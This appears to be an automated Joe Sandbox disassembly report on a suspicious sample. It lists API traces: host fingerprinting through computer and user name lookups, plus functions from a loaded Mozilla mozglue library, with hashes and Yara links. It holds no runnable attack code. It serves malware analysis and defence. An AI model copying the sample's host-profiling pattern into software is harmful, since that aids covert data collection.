Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

ExitProcess.KERNEL32 ref: 001E11C6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0a3e14002bd596793c3ab6631ee4653d4db07c41b4645bfe4715e786b3e6a007
Instruction ID: 6490e135ebed2e436f79ef76ee2a595af65b196da8a15cda41b6c036691dde75
Opcode Fuzzy Hash: 0a3e14002bd596793c3ab6631ee4653d4db07c41b4645bfe4715e786b3e6a007
Instruction Fuzzy Hash: 34E012B5A1430963CE1477B1AC0AB3A329C9B64385F480834FF05D3242FB75E821856E

Function 001F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 001F8E52

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 1ed919ceff41dcf0a68df9f02547eaa599c492c8d4f9ffb9e0e333a9c5c90895
Instruction ID: f4009bfed0bfdf71e2413f2debdc8f3fb79012ff1756606dfb0eb0b12f6f232a
Opcode Fuzzy Hash: 1ed919ceff41dcf0a68df9f02547eaa599c492c8d4f9ffb9e0e333a9c5c90895
Instruction Fuzzy Hash: DA01F630A0410CEFCB04CF98C595BBCBBB1EF04308F288098EA056B392C7756E98DB85

Non-executed Functions

Function 6C625440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C625492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6254A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6254BE
__Init_thread_footer.LIBCMT ref: 6C6254DB

Part of subcall function 6C64AB3F: EnterCriticalSection.KERNEL32(6C69E370,?,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284), ref: 6C64AB49
Part of subcall function 6C64AB3F: LeaveCriticalSection.KERNEL32(6C69E370,?,6C613527,6C69F6CC,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64AB7C

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6254F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C625516
GetCurrentThreadId.KERNEL32 ref: 6C62556A
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625577
moz_xmalloc.MOZGLUE(00000070), ref: 6C625585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C625590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6255E6
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C625606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C625616

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

GetCurrentThreadId.KERNEL32 ref: 6C62563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C625646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C62567C
free.MOZGLUE(?), ref: 6C6256AE

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6256E8
GetCurrentThreadId.KERNEL32 ref: 6C625707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C62570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C625729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C62574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C62576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C625796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6257B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6257CA

Strings

m *.al 1.google.com.google.com *.jo 1.google.com.google.com *.sn 1.google.com.google.com *.is 1.google.com.google.com *.ro 1.google.com.google.com *.cr 1.google.com.google.com *.us 1.google.c, xrefs: 6C6257BC
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C62548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6256E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C625CF9
GeckoMain, xrefs: 6C625554, 6C6255D5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C625BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C625511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6254B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C62584E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6254A3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C625717
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C625B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6257C5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C625D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C625AC9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C625D1C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6257AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C625749
MOZ_PROFILER_STARTUP, xrefs: 6C6255E1
[I %d/%d] profiler_init, xrefs: 6C62564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C625D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C625766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C625724
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C625D01
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C625C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C625791

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$m *.al 1.google.com.google.com *.jo 1.google.com.google.com *.sn 1.google.com.google.com *.is 1.google.com.google.com *.ro 1.google.com.google.com *.cr 1.google.com.google.com *.us 1.google.c
API String ID: 3686969729-2054484065
Opcode ID: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction ID: ac519d78ec1055308dc91fe50fa7110d4e0fe861e6e2514abf06171b6d1090af
Opcode Fuzzy Hash: 71270dbb848d5da0ef62d9cdd1c9f690b34667586839bf3a5703a0c38b8fea0a
Instruction Fuzzy Hash: EE2234B0A043029FDB209F35888866A77B5AF8730CF50492AF94697B45E739C859CF5F

Function 6C626C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C626CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C626D26

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C626D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C626D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C626D73
free.MOZGLUE(00000000), ref: 6C626D80
CertGetNameStringW.CRYPT32 ref: 6C626DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C626DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C626DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C626E10
CryptMsgClose.CRYPT32(00000000), ref: 6C626E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C626E34
CreateFileW.KERNEL32 ref: 6C626EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C626F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C626F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C62709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C627103
free.MOZGLUE(00000000), ref: 6C627153
CloseHandle.KERNEL32(?), ref: 6C627176
__Init_thread_footer.LIBCMT ref: 6C627209
__Init_thread_footer.LIBCMT ref: 6C62723A
__Init_thread_footer.LIBCMT ref: 6C62726B
__Init_thread_footer.LIBCMT ref: 6C62729C
__Init_thread_footer.LIBCMT ref: 6C6272DC
__Init_thread_footer.LIBCMT ref: 6C62730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6273C2
VerSetConditionMask.NTDLL ref: 6C6273F3
VerSetConditionMask.NTDLL ref: 6C6273FF
VerSetConditionMask.NTDLL ref: 6C627406
VerSetConditionMask.NTDLL ref: 6C62740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C62741A
moz_xmalloc.MOZGLUE(?), ref: 6C62755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C627568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C627585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C627598
free.MOZGLUE(00000000), ref: 6C6275AC

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

wintrust.dll, xrefs: 6C6272CD
(, xrefs: 6C62768A
SHA256, xrefs: 6C626EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6272C8

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction ID: 79fc8af959e337d1493843ed6264b8959ca49aa854138c5d05e51de05dffdc10
Opcode Fuzzy Hash: 7a4d0dcfdc13d5df0edaf08b260aa80b3e4d90235dca371a8a7d3e36dd255756
Instruction Fuzzy Hash: C652F5B1A002159BEB21DF25CC84FAA77B8FF46704F1041A9F909A7640DB74AF85CF99

Function 6C650DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C650F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C650F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C650FB7
EnterCriticalSection.KERNEL32(?), ref: 6C650FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C651031
LeaveCriticalSection.KERNEL32(?), ref: 6C6510D0
EnterCriticalSection.KERNEL32(?), ref: 6C65117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C651C39
EnterCriticalSection.KERNEL32(6C69E744), ref: 6C653391
LeaveCriticalSection.KERNEL32(6C69E744), ref: 6C6533CD
LeaveCriticalSection.KERNEL32(?), ref: 6C653431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C653437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C653559, 6C65382D, 6C653848
Compile-time page size does not divide the runtime one., xrefs: 6C653946
MOZ_CRASH(), xrefs: 6C653950
<jemalloc>, xrefs: 6C653941, 6C6539F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C653A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6537D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6537A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6537BD
MALLOC_OPTIONS, xrefs: 6C6535FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C653793

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 20757ab8a34da53974549144e8133296fba5e73ed704b191b8213c5a7936e5c2
Instruction ID: 2e136f6e19ec7974eb5387150851c2e39fc05f5754198f77e54c6f068523ef24
Opcode Fuzzy Hash: 20757ab8a34da53974549144e8133296fba5e73ed704b191b8213c5a7936e5c2
Instruction Fuzzy Hash: BC53AD71A057028FC304CF29C580616FBE1BF89728F79C66DE8699B791D731E861CB89

Function 6C6734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C673EE2

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6761DD
Part of subcall function 6C676180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C67622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674157

Part of subcall function 6C676180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C676250
Part of subcall function 6C676180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C676292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C674448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C67484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C674896
free.MOZGLUE ref: 6C67489F

Strings

, xrefs: 6C674CD2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction ID: d0b8aab8efca215f650c8a4f554726fd415ecf683b731cf5cb8f3aed70ad0eac
Opcode Fuzzy Hash: b5f7da153ca07b8108878bcfd1c1d1dfb2106d5a6919cd469b17570d0f922aad
Instruction Fuzzy Hash: 49F25A74908B81CFC731CF29C0846AAFBF1BF8A314F118A5ED98997711DB719886CB56

Function 6C6264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C626505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C626518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C62652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C62671C
GetCurrentProcess.KERNEL32 ref: 6C626724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C62672F
GetCurrentProcess.KERNEL32 ref: 6C626759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C626764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C626A80
GetSystemInfo.KERNEL32(?), ref: 6C626ABE
__Init_thread_footer.LIBCMT ref: 6C626AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C626AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C626798
user32.dll, xrefs: 6C626526
_etoured.dll, xrefs: 6C6264ED
nvdxgiwrap.dll, xrefs: 6C626513
nvd3d9wrap.dll, xrefs: 6C626500
